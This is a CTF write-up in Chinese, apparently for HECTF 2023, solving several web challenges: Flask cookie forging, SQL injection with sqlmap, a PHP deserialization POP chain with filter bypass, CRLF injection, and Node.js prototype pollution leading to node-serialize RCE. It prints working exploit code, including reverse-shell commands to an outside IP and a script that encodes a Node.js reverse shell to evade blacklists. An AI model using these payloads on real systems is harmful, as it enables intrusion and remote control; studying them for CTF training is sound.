前言
官方wp web
这。。。应该不是新生赛
Web
伪装者
http+jwt+任意文件读取
进入题目,点击传送门,抓包发到重放器
只能从本地访问哦
你从哪里来的呢 是ctf.sc0de.com吗?
zxk1ing 喜欢 Firefox browser 爱屋及乌,我也是
你谁? 我只相信白马王子zxk1ing
get传参?username=zxk1ing,返回“当我傻嘛 你说你是zxk1ing你就是?😡”
猜测存在jwt,把session的值用flask-session-cookie-manager解一下
python flask_session_cookie_manager3.py decode -c "eyJrZXkiOiJ6eGsxaW5nIiwidXNlcm5hbWUiOiJqb2tlciJ9.ZVgh7w.00n2VgS6f3OJM_0FIexdDHum3ps"
得到b'{"key":"zxk1ing","username":"joker"}'
key也给我们了,我们直接伪造username为zxk1ing即可
奇怪的是我用flask-session-cookie-manager没伪造出来,用Flask-Unsign才伪造出来的
flask-unsign --sign --cookie "{'key': 'zxk1ing', 'username': 'zxk1ing'}" --secret 'zxk1ing' --no-literal-eval
返回真的是泥呀 zxk1ing flag在/P1aceuWillneverkn0w 进"里面"去拿吧
访问/P1aceuWillneverkn0w
发现只给了张图片,但是可以发现这里存在任意文件读取/img?url=
直接读flag即可
/img?url=file:///flag
EZweb
sql注入
进入题目就是一个大大的404页面,dirsearch扫一下发现存在404.php
题目提示我们要sort传参
其实是在404.php页面post请求传入sort参数
一开始以为是命令注入试了半天,然后尝试万能密码1'or 1=1#
发现回显admin
直接sqlmap一把梭了,三血到手
python3 sqlmap.py -u http://101.133.164.228:30714/404.php --data="sort=" -D ctf -T users --dump
EZphp
随机数爆破+反序列化pop链+无回显rce
进入题目,f12提示post_me_your_guess,响应头里发现Guess: which rand()?,cookie中发现seed=331061946
应该是要我们爆破随机数,因为给了seed,先写一个脚本生成随机数的字典
<?php
// 设置种子
mt_srand(331061946);
// 生成随机数并保存为1.txt
$file = fopen('1.txt', 'w');
for ($i = 0; $i < 50; $i++) {
$randomNumber = mt_rand();
fwrite($file, $randomNumber . PHP_EOL);
}
fclose($file);
echo '随机数已保存到1.txt文件中。';
?>
然后用burpsuite进行爆破
得到下一步Unablet0guess.php
<?php
error_reporting(0);
highlight_file(__FILE__);
class GGbond{
public $candy;
public function __call($func,$arg){
$func($arg);
}
public function __toString(){
return $this->candy->str;
}
}
class unser{
public $obj;
public $auth;
public function __construct($obj,$name){
$this->obj = $obj;
$this->obj->auth = $name;
}
public function __destruct(){
$this->obj->Welcome();
}
}
class HECTF{
public $cmd;
public function __invoke(){
if($this->cmd){
$this->cmd = preg_replace("/ls|cat|tac|more|sort|head|tail|nl|less|flag|cd|tee|bash|sh|&|^|>|<|\.| |'|`|\(|\"/i","",$this->cmd);
}
exec($this->cmd);
}
}
class heeectf{
public $obj;
public $flag = "Welcome";
public $auth = "who are you?";
public function Welcome(){
if(unserialize($this->auth)=="zxk1ing"){
$star = implode(array($this->obj,"⭐","⭐","⭐","⭐","⭐"));
echo $star;
}
else
echo 'Welcome HECTF! Have fun!';
}
public function __get($get)
{
$func = $this->flag;
return $func();
}
}
new unser(new heeectf(),"user");
$data = $_POST['data'];
if(!preg_match('/flag/i',$data))
unserialize($data);
else
echo "想干嘛???";
反序列化,目标是HECTF::__invoke
中的exec
构造pop链unser::__destruct -> GGBond::__call -> heeectf::Welcome -> GGbond::__toString -> heeectf::__get -> HECTF::__invoke
过滤属性名flag,可以用十六进制绕过S:4:"fla\67"
双写绕过命令执行的部分,用tee把回显带外
exp:
<?php
class GGbond{
public $candy;
}
class unser{
public $obj;
public $auth;
}
class HECTF{
public $cmd='cacatt${IFS}/f*|tteeee${IFS}2';
}
class heeectf{
public $obj;
public $flag;
public $auth = 's:7:"zxk1ing";';
}
$a=new unser();
$a->obj=new heeectf();
$a->obj->obj=new GGbond();
$a->obj->obj->candy=new heeectf();
$a->obj->obj->candy->flag=new HECTF();
echo preg_replace('/s:4:"flag"/','S:4:"fla\\\67"',serialize($a));
访问并下载写入的文件即可读取回显
懒洋洋(复现)
jwt+CVE-2019-9740 CRLF注入
进入题目,随便输个账号密码登录
一眼jwt,在首页源码处发现random.seed(1)
,本地生成一手得到key:0.13436424411240122
带上cookie和key去jwt.io
把username修改为admin
带上伪造的cookie回去,出现debug报错界面(正解此时就是直接回显内容)
告诉我们“你可以访问eeeqxxtg并提交url参数,从本地出发,出口为琪琪萋萋,头上必须有flag: ctfer,就能得到你想要的”
hint提示是CVE-2019-9740,搜索相关内容
但是我构造了半天的请求体也只回显报错
/eeeqxxtg?url=http://127.0.0.1:7777/?a=1%20HTTP/1.1%0d%0aflag:%20ctfer%0d%0aTEST:%20123%0d%0a
Hint:请参考官网上的验证代码格式,并通过并发绕过某些东西
EZjs(复现)
Undefsafe模块原型链污染+nodejs反序列化rce
var express = require('express');
var path = require('path');
const undefsafe = require('undefsafe');
const flag="*****************"
var serialize = require('node-serialize');
var app = express();
class Brief {
constructor() {
this.owner = "whoknows";
this.num = 0;
this.ctfer = {};
}
write_ctfer(name, nickname) {
this.ctfer[(this.num++).toString()] = {
"name": name,
"nickname": nickname
};
}
edit_ctfer(id, name, nikename) {
undefsafe(this.ctfer, id + '.name', name);
undefsafe(this.ctfer, id + '.nikename', nikename);
}
remove_ctfer(id) {
delete this.ctfer[id];
}
}
var introduction = new Brief();
introduction.write_ctfer("the first name", "the first nickname");
app.set('views', path.join(__dirname, 'views'));
app.set('view engine', 'pug');
app.use(express.json());
app.use(express.urlencoded({
extended: false
}));
app.use(express.static(path.join(__dirname, 'public')));
app.get('/', function (req, res, next) {
res.render('index', {
title: 'Welcome to ctfer\'s brief introduction'
});
});
app.route('/add')
.get(function (req, res) {
res.render('mess', {
message: 'Please use post to pass parameters'
});
})
.post(function (req, res) {
let name = req.body.name;
let nickname = req.body.nickname;
if (name && nickname) {
introduction.write_ctfer(name, nickname);
res.send("添加成功");
} else {
res.send("添加失败");
}
})
app.route('/edit')
.get(function (req, res) {
res.send("开始修改");
})
.post(function (req, res) {
let id = req.body.id;
let name = req.body.name;
let nickname = req.body.nickname;
if (id && name && nickname) {
introduction.edit_ctfer(id, name, nickname);
res.send("修改成功");
} else {
res.send("修改失败");
}
})
app.route('/delete')
.get(function (req, res) {
})
.post(function (req, res) {
let id = req.body.id;
if (id) {
introduction.remove_ctfer(id);
} else {
}
})
app.route('/getflag')
.get(function (req, res) {
let array1={IIS:123,a:234,b:345}
let q = req.query.q;
if(black1(q)){
if(array1[q.toUpperCase()]==123){
res.render('mess', {
message: flag
});
}
}
})
app.route('/excite')
.get(function (req, res) {
let commands = {
"less1": "Error",
"less2": "Correct"
};
for (let index in commands) {
console.log(commands[index])
if(black2(commands[index])){
try{
serialize.unserialize(commands[index]);
}catch (e){
continue;
}
}}
res.send("ok");
res.end();
})
app.use(function (req, res, next) {
res.status(404).send('Sorry cant find that!');
});
app.use(function (err, req, res, next) {
console.error(err.stack);
res.status(500).send('Something broke!');
});
function black1(arr) {
let blacklist = ["s", "S", "i","I"];
for (let i = 0; i < arr.length; i++) {
const element = arr[i];
if (blacklist.includes(element)) {
return false;
}
}
return true;
}
function black2(arr) {
let blacklist = ["flag", "bash", "process","WEB","*","?","require","child","exec","&"];
for (let i = 0; i < arr.length; i++) {
const element = arr[i];
if (blacklist.includes(element)) {
return false;
}
}
return true;
}
const port = 80;
app.listen(port, () => console.log(`Example app listening at http://localhost:${port}`))
审计代码,一眼undefsafe原型链污染,跟踪undefsafe
edit_ctfer(id, name, nikename) {
undefsafe(this.ctfer, id + '.name', name);
undefsafe(this.ctfer, id + '.nikename', nikename);
}
可以发现edit_ctfer调用了undefsafe,跟踪edit_ctfer
app.route('/edit')
.get(function (req, res) {
res.send("开始修改");
})
.post(function (req, res) {
let id = req.body.id;
let name = req.body.name;
let nickname = req.body.nickname;
if (id && name && nickname) {
introduction.edit_ctfer(id, name, nickname);
res.send("修改成功");
} else {
res.send("修改失败");
}
})
三个参数均可控,可以进行原型链污染
错误解
而我们的目标在/getflag路由下
app.route('/getflag')
.get(function (req, res) {
let array1={IIS:123,a:234,b:345}
let q = req.query.q;
if(black1(q)){
if(array1[q.toUpperCase()]==123){
res.render('mess', {
message: flag
});
}
}
})
只要让array1数组中的键q为123就能获得flag,看一下黑名单black1
function black1(arr) {
let blacklist = ["s", "S", "i","I"];
for (let i = 0; i < arr.length; i++) {
const element = arr[i];
if (blacklist.includes(element)) {
return false;
}
}
return true;
}
很明显不让我们直接把q=IIS,不过因为这里用的是toUpperCase
函数,可以用ııſ
绕过,试了一下发现不行
原型链污染的思路就是在 /edit 路由通过原型链污染ctfer对象的原型,array1和ctfer都继承自同一个原型,由此我们可以给array1添加一个键值对{"q":"123"}
进去,但是还是不行
这时我发现一个很严重的问题:这里的判断条件是array1[q.toUpperCase()]==123
,把array1当成数组来处理了,但是array1只是一个对象,所以这个判断永远不成立,寄
正解
那么回到上一步,还有一个路由/excite我们没看
app.route('/excite')
.get(function (req, res) {
let commands = {
"less1": "Error",
"less2": "Correct"
};
for (let index in commands) {
console.log(commands[index])
if(black2(commands[index])){
try{
serialize.unserialize(commands[index]);
}catch (e){
continue;
}
}}
res.send("ok");
res.end();
})
同样的我们可以污染这里的commands,然后执行反序列化,在命令中插入我们序列化的语句即可
黑名单
function black2(arr) {
let blacklist = ["flag", "bash", "process","WEB","*","?","require","child","exec","&"];
for (let i = 0; i < arr.length; i++) {
const element = arr[i];
if (blacklist.includes(element)) {
return false;
}
}
return true;
}
生成序列化字符串exp:
var y = {
function : function(){
global['pro'+'cess'].mainModule.constructor._load('child_process')['ex'+'ec']('nc 115.236.153.170 57746 -e sh', function(error, stdout, stderr) { console.log(stdout) });
},
}
var serialize = require('node-serialize');
console.log("Serialized: \n" + serialize.serialize(y));
payload:
id=__proto__&name={"function":"_$$ND_FUNC$$_function(){\r\n\tglobal['pro'+'cess'].mainModule.constructor._load('chi'+'ld_p'+'rocess')['ex'+'ec']('nc 115.236.153.170 57746 -e sh', function(error, stdout, stderr) { console.log(stdout) });\r\n\t}()"}&nickname=ciallo
怪,这题我本地能打通但是靶机上打不通。。。
后日谈
应该是因为靶机那里并没有配置nc,需要用bash来弹shell
bash -c "bash -i >& /dev/tcp/115.236.153.170/57746 0>&1"
这里就又涉及到怎么绕过过滤了,可以生成String.fromCharCode的字符来绕过
脚本:
import sys
if len(sys.argv) != 3:
print("Usage: %s <LHOST> <LPORT>" % (sys.argv[0]))
sys.exit(0)
IP_ADDR = sys.argv[1]
PORT = sys.argv[2]
def charencode(string):
"""String.CharCode"""
encoded = ''
for char in string:
encoded = encoded + "," + str(ord(char))
return encoded[1:]
print("[+] LHOST = %s" % (IP_ADDR))
print("[+] LPORT = %s" % (PORT))
NODEJS_REV_SHELL = '''
var net = require('net');
var spawn = require('child_process').spawn;
HOST="%s";
PORT="%s";
TIMEOUT="5000";
if (typeof String.prototype.contains === 'undefined') { String.prototype.contains = function(it) { return this.indexOf(it) !== -1; }; }
function c(HOST,PORT) {
var client = new net.Socket();
client.connect(PORT, HOST, function() {
var sh = spawn('/bin/sh',[]);
client.write("Connected!\\n");
client.pipe(sh.stdin);
sh.stdout.pipe(client);
sh.stderr.pipe(client);
sh.on('exit',function(code,signal){
client.end("Disconnected!\\n");
});
});
client.on('error', function(e) {
setTimeout(c(HOST,PORT), TIMEOUT);
});
}
c(HOST,PORT);
''' % (IP_ADDR, PORT)
print("[+] Encoding")
PAYLOAD = charencode(NODEJS_REV_SHELL)
print("eval(String.fromCharCode(%s))" % (PAYLOAD))
python Charcode.py 115.236.153.170 57746
Misc
签到
HECTF{Welcome_To_HECTF_2023}